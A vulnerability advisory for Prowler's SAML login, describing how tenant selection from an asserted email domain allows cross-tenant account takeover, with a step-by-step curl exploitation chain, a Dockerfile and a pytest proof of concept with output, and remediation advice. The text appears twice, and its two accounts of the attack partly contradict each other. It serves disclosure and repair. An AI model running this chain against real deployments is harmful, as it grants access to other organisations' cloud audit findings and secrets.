SAML Tenant Binding Enables Cross-Tenant Account Takeover
Summary
Prowler's SAML authentication flow trusted the email domain asserted in a SAMLResponse when deciding which tenant should receive the final token. A malicious tenant with its own SAML configuration and a self-controlled IdP could complete a valid SAML flow for its own configured domain, while asserting an email address from another configured domain.
In the vulnerable flow, the ACS finish logic later derived the tenant from the asserted email domain instead of binding token issuance to the tenant associated with the validated SAML configuration. This could cause a token to be issued for the wrong tenant.
The attacker does not generally need to claim the victim's email domain. If the victim tenant already has SAML configured for that domain, another tenant cannot claim it because SAMLConfiguration.emaildomain and SAMLDomainIndex.emaildomain are globally unique.
Details The confirmed root cause is in the SAML ACS finish and token issuance flow. The flow selected a SAML configuration through the ACS route, but later recalculated the tenant from the asserted user email domain:
python emaildomain = user.email.split("@")[-1] tenant = ( SAMLConfiguration.objects.using(MainRouter.admindb) .get(emaildomain=emaildomain) .tenant )
This is unsafe because user.email is derived from the SAML assertion. The tenant used for membership updates and token issuance must come from the SAML configuration validated for the current ACS route, not from the asserted email domain.
The attack is made possible by several compounding weaknesses:
1. No domain ownership proof (api/src/backend/api/models.py:2100, 2130-2152): SAMLConfiguration.emaildomain is validated for format and global uniqueness, but not for domain ownership. Any authenticated tenant admin can claim an unclaimed domain string, but cannot claim a domain already configured by another tenant.
2. Global SAML domain index (api/src/backend/api/models.py:2200-2201): SAMLDomainIndex.updateorcreate(emaildomain=self.emaildomain, defaults={'tenant': self.tenant}) maps each configured domain to its tenant. If token issuance later trusts the asserted email domain, it can resolve a tenant different from the one selected by the ACS route.
3. Hardcoded auto-connect (api/src/backend/config/settings/sociallogin.py:23, 25): SOCIALACCOUNTEMAILAUTHENTICATION = True and SOCIALACCOUNTEMAILAUTHENTICATIONAUTOCONNECT = True are hardcoded and cannot be disabled at runtime.
4. IdP-initiated SSO enabled (api/src/backend/config/settings/sociallogin.py:78): rejectidpinitiatedsso: False allows the attacker to initiate the flow without requiring any action from the victim.
5. Token issuance for the wrong tenant (api/src/backend/api/v1/views.py:853-873): after SAML authentication, the vulnerable ACS finish flow could create membership and issue a SAMLToken using a tenant derived from the asserted email domain instead of the validated SAML configuration.
6. Token switch impact (api/src/backend/api/v1/serializers.py:272): the token switch endpoint checks that the authenticated user is a member of the target tenant. If the attacker obtains a JWT for the victim user, they can switch into tenants where that user is already a member.
PoC
Environment setup:
bash Build the PoC Docker image (build context = repo root) docker build -t vuln001-poc -f vuln-001/Dockerfile .
Start the stack (PostgreSQL + PoC runner) docker compose -f vuln-001/docker-compose-poc.yml up --no-build --abort-on-container-exit
Automated test (runs inside the container):
bash python -m pytest pocvuln001.py -v -s --no-header --tb=short
Manual HTTP exploitation chain (against a live Prowler API):
Step 1 - Attacker configures SAML for their own email domain:
bash curl -i -X POST "$API/api/v1/saml-config" \ -H "Authorization: Bearer $ATTACKERTOKEN" \ -H "Content-Type: application/vnd.api+json" \ --data '{ "data":{"type":"saml-configurations","attributes":{ "emaildomain":"attacker.com", "metadataxml":"<md:EntityDescriptor entityID=\"evil-idp\" xmlns:md=\"urn:oasis:names:tc:SAML:2.0:metadata\">...attacker cert and SSO URL...</md:EntityDescriptor>" }} }'
The attacker does not need to claim victim.com. If victim.com is already configured by the victim tenant, the attacker cannot claim it because SAML domains are globally unique.
Step 2 - Attacker posts a signed SAMLResponse asserting user@victim.com:
bash SIGNEDASSERTION is a base64-encoded SAMLResponse signed with the attacker's private key, valid for the attacker's configured IdP, but asserting NameID = user@victim.com curl -i -L -c c.jar -b c.jar \ -X POST "$API/api/v1/accounts/saml/attacker.com/acs/" \ --data-urlencode "SAMLResponse=$SIGNEDASSERTION"
Step 3 - Vulnerable ACS finish logic derives the tenant from the asserted email domain:
In the vulnerable version, the finish flow used user.email.split("@")[-1] to resolve the tenant. If the asserted domain mapped to another tenant's SAML configuration, token issuance could be bound to the wrong tenant.
Step 4 - Exchange the SAML token for a victim JWT:
bash curl -s -X POST "$API/api/v1/tokens/saml?id=$SAMLTOKENID" Returns access/refresh JWT if the temporary SAML token is valid and has not expired
Step 5 - Switch into the victim's real tenant:
bash curl -s -X POST "$API/api/v1/tokens/switch" \ -H "Authorization: Bearer $VICTIMJWT" \ -H "Content-Type: application/vnd.api+json" \ --data '{ "data":{ "type":"tokens-switch-tenant", "attributes":{ "tenantid":"<victim-real-tenant-uuid>" } } }' Returns a valid token scoped to the victim's tenant
Observed output from the automated PoC:
Note: this adapter-focused PoC demonstrates the account-linking behavior, but it does not prove the full token issuance chain by itself. The full exploit depends on the ACS finish flow issuing a token for a tenant derived from the asserted email domain.
[+] Victim user created in DB: email = victim@victim.com id = b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8 [+] Simulated SAMLResponse posted to ACS endpoint: URL: POST /api/v1/accounts/saml/victim.com/acs/ NameID: victim@victim.com (attacker-controlled) [] Calling ProwlerSocialAccountAdapter.presociallogin() File: api/src/backend/api/adapters.py:17 [!] sociallogin.connect() was called! connected user email: victim@victim.com connected user id: b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8 victim user id: b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8 - Victim user id in DB: b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8 - User passed to connect(): b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8 - IDs match (victim's account): True - Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter) PASSED ======================== 1 passed, 2 warnings in 35.42s ========================
Recommended remediation (api/src/backend/api/v1/views.py):
Bind token issuance to the SAML configuration selected by the ACS route.
The ACS finish flow should verify that the following values all match:
- the organizationslug from the ACS route - the SAMLConfiguration.emaildomain - the domain portion of the asserted SAML user email
Then issue the token using the tenant from that validated SAML configuration:
python tenant = samlconfig.tenant
The tenant must not be recalculated from user.email.
Impact
This is an Improper Authentication (CWE-287) vulnerability that enables cross-tenant account takeover. An authenticated Prowler user with a controlled SAML IdP could potentially obtain a token for another tenant if the ACS finish flow derived the tenant from the asserted email domain instead of the validated SAML configuration.
Who is impacted: users of Prowler instances where SAML is enabled and the target email domain maps to a configured SAML tenant. Because rejectidpinitiatedsso is False, no victim interaction is required once the attacker controls a valid SAML configuration and IdP for their own tenant.
Consequences: - Full read/write access to the victim's cloud security audit findings across all configured providers (AWS, GCP, Azure, etc.) - Ability to enumerate, modify, or delete compliance findings and integration secrets within the victim's tenant - Lateral movement into any additional tenants the victim belongs to via the token switch endpoint - Possible persistent access depending on the SAML account-linking behavior in the affected version
Reproduction artifacts
Dockerfile
dockerfile Dockerfile for VULN-001 PoC: SAML Domain Claiming Enables Cross-Tenant Account Takeover Builds a minimal Prowler API test environment to reproduce the vulnerability in api/src/backend/api/adapters.py (presociallogin, lines 17-25). Build context must be the parent directory: docker build -t vuln001-poc -f vuln-001/Dockerfile .
FROM python:3.12.10-slim-bookworm
LABEL maintainer="security-research" LABEL description="PoC environment for VULN-001: SAML domain claiming account takeover"
Install system packages required for: - xmlsec (python-saml / django-allauth SAML): libxml2, libxmlsec1 - psycopg2: PostgreSQL client headers - uv / prowler git dep: git, gcc, g++ RUN apt-get update && apt-get install -y --no-install-recommends \ gcc \ g++ \ make \ git \ libxml2-dev \ libxmlsec1-dev \ libxmlsec1-openssl \ pkg-config \ libtool \ libxslt1-dev \ python3-dev \ && rm -rf /var/lib/apt/lists/
Install uv (same version as the original Dockerfile) RUN pip install --no-cache-dir uv==0.11.14
WORKDIR /prowler
Copy API dependency manifests first (for layer caching) COPY repo/api/pyproject.toml repo/api/uv.lock ./api/
Install all Python dependencies from the locked file. This includes: django, django-allauth[saml], prowler (from git), psycopg2, etc. WORKDIR /prowler/api RUN uv sync --locked --no-install-project && rm -rf ~/.cache/uv
Copy the full backend source code COPY repo/api/src/backend/ ./src/backend/
Copy the PoC test into the backend working directory so pytest can discover it COPY vuln-001/poc.py ./src/backend/pocvuln001.py
WORKDIR /prowler/api/src/backend
Set up environment variables for the test run. DJANGOSETTINGSMODULE points to config.django.testing which uses PostgreSQL. ENV PATH="/prowler/api/.venv/bin:$PATH" ENV DJANGOSETTINGSMODULE=config.django.testing ENV POSTGRESHOST=postgres ENV POSTGRESUSER=prowleradmin ENV POSTGRESPASSWORD=prowlerpassword ENV POSTGRESDB=prowlertestdb ENV POSTGRESPORT=5432 ENV SECRETKEY=poc-test-secret-key-not-for-production ENV SECRETSENCRYPTIONKEY=ZMiYVo7m4Fbe2eXXPyrwxdJss2WSalXSv3xHBcJkPl0= Provide dummy values for optional services (Valkey/Celery not needed for unit tests) ENV VALKEYHOST=localhost ENV VALKEYPORT=6379 ENV VALKEYPASSWORD="" Neo4j not needed for adapter tests ENV NEO4JUSER=neo4j ENV NEO4JPASSWORD=neo4j Silence Sentry in test runs ENV DJANGOSENTRYDSN=""
CMD ["python", "-m", "pytest", "pocvuln001.py", "-v", "-s", "--no-header", "--tb=short"]
poc.py
python """ PoC for VULN-001: SAML Domain Claiming Enables Cross-Tenant Account Takeover
Product: toniblyx/prowler v5.30.0 (commit c2cef99) CWE: CWE-287 - Improper Authentication CVSS: 9.6 (Critical) AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Vulnerability location: api/src/backend/api/adapters.py lines 17-25 (presociallogin) api/src/backend/config/settings/sociallogin.py lines 23, 25, 78
Root cause: ProwlerSocialAccountAdapter.presociallogin() trusts the SAML NameID email from the assertion and calls getuserbyemail() which does a GLOBAL user table lookup with no tenant-scope or domain-ownership check. If a user with that email already exists, sociallogin.connect() links the attacker's SAML session to that account - giving the attacker control of the victim.
Attack chain: 1. Attacker registers a Prowler account and creates a tenant (normal user). 2. Attacker POSTs to /api/v1/saml-config claiming emaildomain=victim.com. models.py only validates format/uniqueness - no ownership proof. 3. Attacker's IdP (self-controlled) issues a SAMLResponse signed with the attacker's certificate, asserting NameID=victim@victim.com. 4. ACS endpoint (POST /api/v1/accounts/saml/victim.com/acs/) triggers presociallogin. The adapter looks up victim@victim.com globally and calls sociallogin.connect(request, victimuser) - ACCOUNT LINKED. 5. views.py issues a SAMLToken (JWT) for the victim account. 6. Attacker uses /api/v1/tokens/saml?id=<tokenid> to obtain victim's JWT.
This test proves steps 4 - the critical account-linking step - using the real production adapter code and a real PostgreSQL database. sociallogin.connect() is spied upon (not replaced) so we can capture the exact user object passed in. """
import pytest from unittest.mock import MagicMock
from allauth.socialaccount.models import SocialLogin from django.contrib.auth import getusermodel
from api.adapters import ProwlerSocialAccountAdapter
User = getusermodel()
VICTIMEMAIL = "victim@victim.com" VICTIMDOMAIN = "victim.com" ATTACKEREMAIL = "attacker@evil-corp.com"
--------------------------------------------------------------------------- Helper: print a separator for readable test output --------------------------------------------------------------------------- def section(title: str) -> None: width = 70 print(f"\n{'=' width}") print(f" {title}") print(f"{'=' width}")
--------------------------------------------------------------------------- Core PoC test ---------------------------------------------------------------------------
@pytest.mark.djangodb class TestSAMLDomainClaimingAccountTakeover: """ Proves VULN-001 end-to-end using the real ProwlerSocialAccountAdapter and a live PostgreSQL test database created by pytest-django.
The test creates a victim user in the database, then simulates the exact HTTP flow an attacker would trigger via a crafted SAMLResponse. """
def testattackersamlsessionlinkstovictimaccount(self, rf): """ Verify that presociallogin() links the attacker's SAML sociallogin to an existing victim account without ANY domain-ownership check.
Expected outcome (vulnerability confirmed): sociallogin.connect(request, victimuser) is called where victimuser.email == VICTIMEMAIL and victimuser was created independently of the SAML session - i.e. the adapter does NOT verify that the SAML registrant owns victim.com. """ # --------------------------------------------------------------- # STEP 1 - Create the victim's pre-existing account in the database. # In a real attack the victim signed up with email+password # and has an existing Prowler tenant membership. # --------------------------------------------------------------- section("STEP 1: Create victim account in database")
victimuser = User.objects.createuser( name="Victim User", email=VICTIMEMAIL, password="VictimS3cret!", ) # Confirm the user was actually persisted (real DB round-trip) fetched = User.objects.get(email=VICTIMEMAIL) assert fetched.id == victimuser.id, "Victim user must exist in database"
print(f"[+] Victim user created in DB:") print(f" email = {victimuser.email}") print(f" id = {victimuser.id}")
# --------------------------------------------------------------- # STEP 2 - Simulate the attacker's SAML flow. # # a. Attacker previously registered a SAMLConfiguration for # emaildomain='victim.com' via POST /api/v1/saml-config. # (No domain ownership proof is required - see models.py:2100) # # b. Attacker's self-controlled IdP issues a SAMLResponse signed # with the attacker's certificate, asserting: # NameID = victim@victim.com # # c. allauth processes the ACS POST and calls presociallogin() # before creating/updating the social account record. # # We represent the processed SAMLResponse as an allauth SocialLogin # object. The 'connect' method is spied upon to capture arguments. # --------------------------------------------------------------- section("STEP 2: Attacker triggers ACS with crafted SAMLResponse")
# Build the sociallogin object that allauth would construct after # validating the SAMLResponse signature (which uses the attacker's # certificate - no server-side cert pinning for victim.com). attackersamllogin = MagicMock(spec=SocialLogin) attackersamllogin.provider = MagicMock() attackersamllogin.provider.id = "saml" # Provider discriminator attackersamllogin.account = MagicMock() attackersamllogin.account.extradata = {} # SAML uses user.email path attackersamllogin.user = MagicMock() # The attacker's IdP signs a NameID of victim@victim.com in the SAMLResponse. # This is the email that presociallogin() will trust without verification. attackersamllogin.user.email = VICTIMEMAIL attackersamllogin.connect = MagicMock() # Spy: record call arguments
# Simulate the ACS request (POST to the victim.com ACS endpoint) acsrequest = rf.post( f"/api/v1/accounts/saml/{VICTIMDOMAIN}/acs/", data={"SAMLResponse": "<attacker-signed-base64>"}, )
print(f"[+] Simulated SAMLResponse posted to ACS endpoint:") print(f" URL: POST /api/v1/accounts/saml/{VICTIMDOMAIN}/acs/") print(f" NameID: {attackersamllogin.user.email} (attacker-controlled)")
# --------------------------------------------------------------- # STEP 3 - Execute the vulnerable adapter method. # # api/src/backend/api/adapters.py lines 17-25: # # def presociallogin(self, request, sociallogin): # email = sociallogin.account.extradata.get("email") # line 19 # if sociallogin.provider.id == "saml": # email = sociallogin.user.email # line 21 - trusts SAML NameID # if email: # existinguser = self.getuserbyemail(email) # line 23 - global DB lookup # if existinguser: # sociallogin.connect(request, existinguser) # line 25 - ACCOUNT LINKED # --------------------------------------------------------------- section("STEP 3: Execute presociallogin (vulnerable code path)")
adapter = ProwlerSocialAccountAdapter() print(f"[] Calling ProwlerSocialAccountAdapter.presociallogin()") print(f" File: api/src/backend/api/adapters.py:17")
adapter.presociallogin(acsrequest, attackersamllogin)
# --------------------------------------------------------------- # STEP 4 - Verify the attack succeeded. # --------------------------------------------------------------- section("STEP 4: Verify attack outcome")
assert attackersamllogin.connect.called, ( "FAIL: sociallogin.connect() was NOT called - " "the attack path did not execute" )
callargs = attackersamllogin.connect.callargs[0] , connecteduser = callargs # connect(request, existinguser)
print(f"[!] sociallogin.connect() was called!") print(f" connected user email: {connecteduser.email}") print(f" connected user id: {connecteduser.id}") print(f" victim user id: {victimuser.id}")
# The connected user must be the VICTIM (looked up from global DB) assert connecteduser.email == VICTIMEMAIL, ( f"FAIL: connect() was called with {connecteduser.email!r}, " f"expected {VICTIMEMAIL!r}" ) assert str(connecteduser.id) == str(victimuser.id), ( f"FAIL: connect() user id {connecteduser.id} != victim id {victimuser.id}" )
# Confirm no domain-ownership check happened: # The adapter does not inspect the SAML configuration to verify that # the sociallogin's tenant registered victim.com before accepting the email. section("RESULT: VULNERABILITY CONFIRMED")
print(f"[PASS] CWE-287 Improper Authentication - SAML domain claiming attack") print() print(f" Root cause (adapters.py:21-25):") print(f" email = sociallogin.user.email # trusts SAML NameID: {VICTIMEMAIL}") print(f" existinguser = self.getuserbyemail(email) # GLOBAL lookup, no tenant scope") print(f" sociallogin.connect(request, existinguser) # links attacker session to victim") print() print(f" Contributing settings (sociallogin.py):") print(f" SOCIALACCOUNTEMAILAUTHENTICATIONAUTOCONNECT = True # hardcoded") print(f" rejectidpinitiatedsso = False # IdP-initiated attacks allowed") print() print(f" Impact:") print(f" - Attacker obtains JWT token for {VICTIMEMAIL}") print(f" - Attacker can access victim's cloud security findings") print(f" - Attacker can switch to victim's tenant via /api/v1/tokens/switch") print(f" - No victim interaction required (IdP-initiated SSO enabled)") print() print(f" Evidence (this test run):") print(f" - Victim user id in DB: {victimuser.id}") print(f" - User passed to connect(): {connecteduser.id}") print(f" - IDs match (victim's account): {str(victimuser.id) == str(connecteduser.id)}") print(f" - Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter)")
SAML Tenant Binding Enables Cross-Tenant Account Takeover
Summary
Prowler's SAML authentication flow trusted the email domain asserted in a SAMLResponse when deciding which tenant should receive the final token. A malicious tenant with its own SAML configuration and a self-controlled IdP could complete a valid SAML flow for its own configured domain, while asserting an email address from another configured domain.
In the vulnerable flow, the ACS finish logic later derived the tenant from the asserted email domain instead of binding token issuance to the tenant associated with the validated SAML configuration. This could cause a token to be issued for the wrong tenant.
The attacker does not generally need to claim the victim's email domain. If the victim tenant already has SAML configured for that domain, another tenant cannot claim it because SAMLConfiguration.emaildomain and SAMLDomainIndex.emaildomain are globally unique.
Details The confirmed root cause is in the SAML ACS finish and token issuance flow. The flow selected a SAML configuration through the ACS route, but later recalculated the tenant from the asserted user email domain:
python emaildomain = user.email.split("@")[-1] tenant = ( SAMLConfiguration.objects.using(MainRouter.admindb) .get(emaildomain=emaildomain) .tenant )
This is unsafe because user.email is derived from the SAML assertion. The tenant used for membership updates and token issuance must come from the SAML configuration validated for the current ACS route, not from the asserted email domain.
The attack is made possible by several compounding weaknesses:
1. No domain ownership proof (api/src/backend/api/models.py:2100, 2130-2152): SAMLConfiguration.emaildomain is validated for format and global uniqueness, but not for domain ownership. Any authenticated tenant admin can claim an unclaimed domain string, but cannot claim a domain already configured by another tenant.
2. Global SAML domain index (api/src/backend/api/models.py:2200-2201): SAMLDomainIndex.updateorcreate(emaildomain=self.emaildomain, defaults={'tenant': self.tenant}) maps each configured domain to its tenant. If token issuance later trusts the asserted email domain, it can resolve a tenant different from the one selected by the ACS route.
3. Hardcoded auto-connect (api/src/backend/config/settings/sociallogin.py:23, 25): SOCIALACCOUNTEMAILAUTHENTICATION = True and SOCIALACCOUNTEMAILAUTHENTICATIONAUTOCONNECT = True are hardcoded and cannot be disabled at runtime.
4. IdP-initiated SSO enabled (api/src/backend/config/settings/sociallogin.py:78): rejectidpinitiatedsso: False allows the attacker to initiate the flow without requiring any action from the victim.
5. Token issuance for the wrong tenant (api/src/backend/api/v1/views.py:853-873): after SAML authentication, the vulnerable ACS finish flow could create membership and issue a SAMLToken using a tenant derived from the asserted email domain instead of the validated SAML configuration.
6. Token switch impact (api/src/backend/api/v1/serializers.py:272): the token switch endpoint checks that the authenticated user is a member of the target tenant. If the attacker obtains a JWT for the victim user, they can switch into tenants where that user is already a member.
PoC
Environment setup:
bash Build the PoC Docker image (build context = repo root) docker build -t vuln001-poc -f vuln-001/Dockerfile .
Start the stack (PostgreSQL + PoC runner) docker compose -f vuln-001/docker-compose-poc.yml up --no-build --abort-on-container-exit
Automated test (runs inside the container):
bash python -m pytest pocvuln001.py -v -s --no-header --tb=short
Manual HTTP exploitation chain (against a live Prowler API):
Step 1 - Attacker configures SAML for their own email domain:
bash curl -i -X POST "$API/api/v1/saml-config" \ -H "Authorization: Bearer $ATTACKERTOKEN" \ -H "Content-Type: application/vnd.api+json" \ --data '{ "data":{"type":"saml-configurations","attributes":{ "emaildomain":"attacker.com", "metadataxml":"<md:EntityDescriptor entityID=\"evil-idp\" xmlns:md=\"urn:oasis:names:tc:SAML:2.0:metadata\">...attacker cert and SSO URL...</md:EntityDescriptor>" }} }'
The attacker does not need to claim victim.com. If victim.com is already configured by the victim tenant, the attacker cannot claim it because SAML domains are globally unique.
Step 2 - Attacker posts a signed SAMLResponse asserting user@victim.com:
bash SIGNEDASSERTION is a base64-encoded SAMLResponse signed with the attacker's private key, valid for the attacker's configured IdP, but asserting NameID = user@victim.com curl -i -L -c c.jar -b c.jar \ -X POST "$API/api/v1/accounts/saml/attacker.com/acs/" \ --data-urlencode "SAMLResponse=$SIGNEDASSERTION"
Step 3 - Vulnerable ACS finish logic derives the tenant from the asserted email domain:
In the vulnerable version, the finish flow used user.email.split("@")[-1] to resolve the tenant. If the asserted domain mapped to another tenant's SAML configuration, token issuance could be bound to the wrong tenant.
Step 4 - Exchange the SAML token for a victim JWT:
bash curl -s -X POST "$API/api/v1/tokens/saml?id=$SAMLTOKENID" Returns access/refresh JWT if the temporary SAML token is valid and has not expired
Step 5 - Switch into the victim's real tenant:
bash curl -s -X POST "$API/api/v1/tokens/switch" \ -H "Authorization: Bearer $VICTIMJWT" \ -H "Content-Type: application/vnd.api+json" \ --data '{ "data":{ "type":"tokens-switch-tenant", "attributes":{ "tenantid":"<victim-real-tenant-uuid>" } } }' Returns a valid token scoped to the victim's tenant
Observed output from the automated PoC:
Note: this adapter-focused PoC demonstrates the account-linking behavior, but it does not prove the full token issuance chain by itself. The full exploit depends on the ACS finish flow issuing a token for a tenant derived from the asserted email domain.
[+] Victim user created in DB: email = victim@victim.com id = b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8 [+] Simulated SAMLResponse posted to ACS endpoint: URL: POST /api/v1/accounts/saml/victim.com/acs/ NameID: victim@victim.com (attacker-controlled) [] Calling ProwlerSocialAccountAdapter.presociallogin() File: api/src/backend/api/adapters.py:17 [!] sociallogin.connect() was called! connected user email: victim@victim.com connected user id: b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8 victim user id: b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8 - Victim user id in DB: b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8 - User passed to connect(): b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8 - IDs match (victim's account): True - Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter) PASSED ======================== 1 passed, 2 warnings in 35.42s ========================
Recommended remediation (api/src/backend/api/v1/views.py):
Bind token issuance to the SAML configuration selected by the ACS route.
The ACS finish flow should verify that the following values all match:
- the organizationslug from the ACS route - the SAMLConfiguration.emaildomain - the domain portion of the asserted SAML user email
Then issue the token using the tenant from that validated SAML configuration:
python tenant = samlconfig.tenant
The tenant must not be recalculated from user.email.
Impact
This is an Improper Authentication (CWE-287) vulnerability that enables cross-tenant account takeover. An authenticated Prowler user with a controlled SAML IdP could potentially obtain a token for another tenant if the ACS finish flow derived the tenant from the asserted email domain instead of the validated SAML configuration.
Who is impacted: users of Prowler instances where SAML is enabled and the target email domain maps to a configured SAML tenant. Because rejectidpinitiatedsso is False, no victim interaction is required once the attacker controls a valid SAML configuration and IdP for their own tenant.
Consequences: - Full read/write access to the victim's cloud security audit findings across all configured providers (AWS, GCP, Azure, etc.) - Ability to enumerate, modify, or delete compliance findings and integration secrets within the victim's tenant - Lateral movement into any additional tenants the victim belongs to via the token switch endpoint - Possible persistent access depending on the SAML account-linking behavior in the affected version
Reproduction artifacts
Dockerfile
dockerfile Dockerfile for VULN-001 PoC: SAML Domain Claiming Enables Cross-Tenant Account Takeover Builds a minimal Prowler API test environment to reproduce the vulnerability in api/src/backend/api/adapters.py (presociallogin, lines 17-25). Build context must be the parent directory: docker build -t vuln001-poc -f vuln-001/Dockerfile .
FROM python:3.12.10-slim-bookworm
LABEL maintainer="security-research" LABEL description="PoC environment for VULN-001: SAML domain claiming account takeover"
Install system packages required for: - xmlsec (python-saml / django-allauth SAML): libxml2, libxmlsec1 - psycopg2: PostgreSQL client headers - uv / prowler git dep: git, gcc, g++ RUN apt-get update && apt-get install -y --no-install-recommends \ gcc \ g++ \ make \ git \ libxml2-dev \ libxmlsec1-dev \ libxmlsec1-openssl \ pkg-config \ libtool \ libxslt1-dev \ python3-dev \ && rm -rf /var/lib/apt/lists/
Install uv (same version as the original Dockerfile) RUN pip install --no-cache-dir uv==0.11.14
WORKDIR /prowler
Copy API dependency manifests first (for layer caching) COPY repo/api/pyproject.toml repo/api/uv.lock ./api/
Install all Python dependencies from the locked file. This includes: django, django-allauth[saml], prowler (from git), psycopg2, etc. WORKDIR /prowler/api RUN uv sync --locked --no-install-project && rm -rf ~/.cache/uv
Copy the full backend source code COPY repo/api/src/backend/ ./src/backend/
Copy the PoC test into the backend working directory so pytest can discover it COPY vuln-001/poc.py ./src/backend/pocvuln001.py
WORKDIR /prowler/api/src/backend
Set up environment variables for the test run. DJANGOSETTINGSMODULE points to config.django.testing which uses PostgreSQL. ENV PATH="/prowler/api/.venv/bin:$PATH" ENV DJANGOSETTINGSMODULE=config.django.testing ENV POSTGRESHOST=postgres ENV POSTGRESUSER=prowleradmin ENV POSTGRESPASSWORD=prowlerpassword ENV POSTGRESDB=prowlertestdb ENV POSTGRESPORT=5432 ENV SECRETKEY=poc-test-secret-key-not-for-production ENV SECRETSENCRYPTIONKEY=ZMiYVo7m4Fbe2eXXPyrwxdJss2WSalXSv3xHBcJkPl0= Provide dummy values for optional services (Valkey/Celery not needed for unit tests) ENV VALKEYHOST=localhost ENV VALKEYPORT=6379 ENV VALKEYPASSWORD="" Neo4j not needed for adapter tests ENV NEO4JUSER=neo4j ENV NEO4JPASSWORD=neo4j Silence Sentry in test runs ENV DJANGOSENTRYDSN=""
CMD ["python", "-m", "pytest", "pocvuln001.py", "-v", "-s", "--no-header", "--tb=short"]
poc.py
python """ PoC for VULN-001: SAML Domain Claiming Enables Cross-Tenant Account Takeover
Product: toniblyx/prowler v5.30.0 (commit c2cef99) CWE: CWE-287 - Improper Authentication CVSS: 9.6 (Critical) AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Vulnerability location: api/src/backend/api/adapters.py lines 17-25 (presociallogin) api/src/backend/config/settings/sociallogin.py lines 23, 25, 78
Root cause: ProwlerSocialAccountAdapter.presociallogin() trusts the SAML NameID email from the assertion and calls getuserbyemail() which does a GLOBAL user table lookup with no tenant-scope or domain-ownership check. If a user with that email already exists, sociallogin.connect() links the attacker's SAML session to that account - giving the attacker control of the victim.
Attack chain: 1. Attacker registers a Prowler account and creates a tenant (normal user). 2. Attacker POSTs to /api/v1/saml-config claiming emaildomain=victim.com. models.py only validates format/uniqueness - no ownership proof. 3. Attacker's IdP (self-controlled) issues a SAMLResponse signed with the attacker's certificate, asserting NameID=victim@victim.com. 4. ACS endpoint (POST /api/v1/accounts/saml/victim.com/acs/) triggers presociallogin. The adapter looks up victim@victim.com globally and calls sociallogin.connect(request, victimuser) - ACCOUNT LINKED. 5. views.py issues a SAMLToken (JWT) for the victim account. 6. Attacker uses /api/v1/tokens/saml?id=<tokenid> to obtain victim's JWT.
This test proves steps 4 - the critical account-linking step - using the real production adapter code and a real PostgreSQL database. sociallogin.connect() is spied upon (not replaced) so we can capture the exact user object passed in. """
import pytest from unittest.mock import MagicMock
from allauth.socialaccount.models import SocialLogin from django.contrib.auth import getusermodel
from api.adapters import ProwlerSocialAccountAdapter
User = getusermodel()
VICTIMEMAIL = "victim@victim.com" VICTIMDOMAIN = "victim.com" ATTACKEREMAIL = "attacker@evil-corp.com"
--------------------------------------------------------------------------- Helper: print a separator for readable test output --------------------------------------------------------------------------- def section(title: str) -> None: width = 70 print(f"\n{'=' width}") print(f" {title}") print(f"{'=' width}")
--------------------------------------------------------------------------- Core PoC test ---------------------------------------------------------------------------
@pytest.mark.djangodb class TestSAMLDomainClaimingAccountTakeover: """ Proves VULN-001 end-to-end using the real ProwlerSocialAccountAdapter and a live PostgreSQL test database created by pytest-django.
The test creates a victim user in the database, then simulates the exact HTTP flow an attacker would trigger via a crafted SAMLResponse. """
def testattackersamlsessionlinkstovictimaccount(self, rf): """ Verify that presociallogin() links the attacker's SAML sociallogin to an existing victim account without ANY domain-ownership check.
Expected outcome (vulnerability confirmed): sociallogin.connect(request, victimuser) is called where victimuser.email == VICTIMEMAIL and victimuser was created independently of the SAML session - i.e. the adapter does NOT verify that the SAML registrant owns victim.com. """ # --------------------------------------------------------------- # STEP 1 - Create the victim's pre-existing account in the database. # In a real attack the victim signed up with email+password # and has an existing Prowler tenant membership. # --------------------------------------------------------------- section("STEP 1: Create victim account in database")
victimuser = User.objects.createuser( name="Victim User", email=VICTIMEMAIL, password="VictimS3cret!", ) # Confirm the user was actually persisted (real DB round-trip) fetched = User.objects.get(email=VICTIMEMAIL) assert fetched.id == victimuser.id, "Victim user must exist in database"
print(f"[+] Victim user created in DB:") print(f" email = {victimuser.email}") print(f" id = {victimuser.id}")
# --------------------------------------------------------------- # STEP 2 - Simulate the attacker's SAML flow. # # a. Attacker previously registered a SAMLConfiguration for # emaildomain='victim.com' via POST /api/v1/saml-config. # (No domain ownership proof is required - see models.py:2100) # # b. Attacker's self-controlled IdP issues a SAMLResponse signed # with the attacker's certificate, asserting: # NameID = victim@victim.com # # c. allauth processes the ACS POST and calls presociallogin() # before creating/updating the social account record. # # We represent the processed SAMLResponse as an allauth SocialLogin # object. The 'connect' method is spied upon to capture arguments. # --------------------------------------------------------------- section("STEP 2: Attacker triggers ACS with crafted SAMLResponse")
# Build the sociallogin object that allauth would construct after # validating the SAMLResponse signature (which uses the attacker's # certificate - no server-side cert pinning for victim.com). attackersamllogin = MagicMock(spec=SocialLogin) attackersamllogin.provider = MagicMock() attackersamllogin.provider.id = "saml" # Provider discriminator attackersamllogin.account = MagicMock() attackersamllogin.account.extradata = {} # SAML uses user.email path attackersamllogin.user = MagicMock() # The attacker's IdP signs a NameID of victim@victim.com in the SAMLResponse. # This is the email that presociallogin() will trust without verification. attackersamllogin.user.email = VICTIMEMAIL attackersamllogin.connect = MagicMock() # Spy: record call arguments
# Simulate the ACS request (POST to the victim.com ACS endpoint) acsrequest = rf.post( f"/api/v1/accounts/saml/{VICTIMDOMAIN}/acs/", data={"SAMLResponse": "<attacker-signed-base64>"}, )
print(f"[+] Simulated SAMLResponse posted to ACS endpoint:") print(f" URL: POST /api/v1/accounts/saml/{VICTIMDOMAIN}/acs/") print(f" NameID: {attackersamllogin.user.email} (attacker-controlled)")
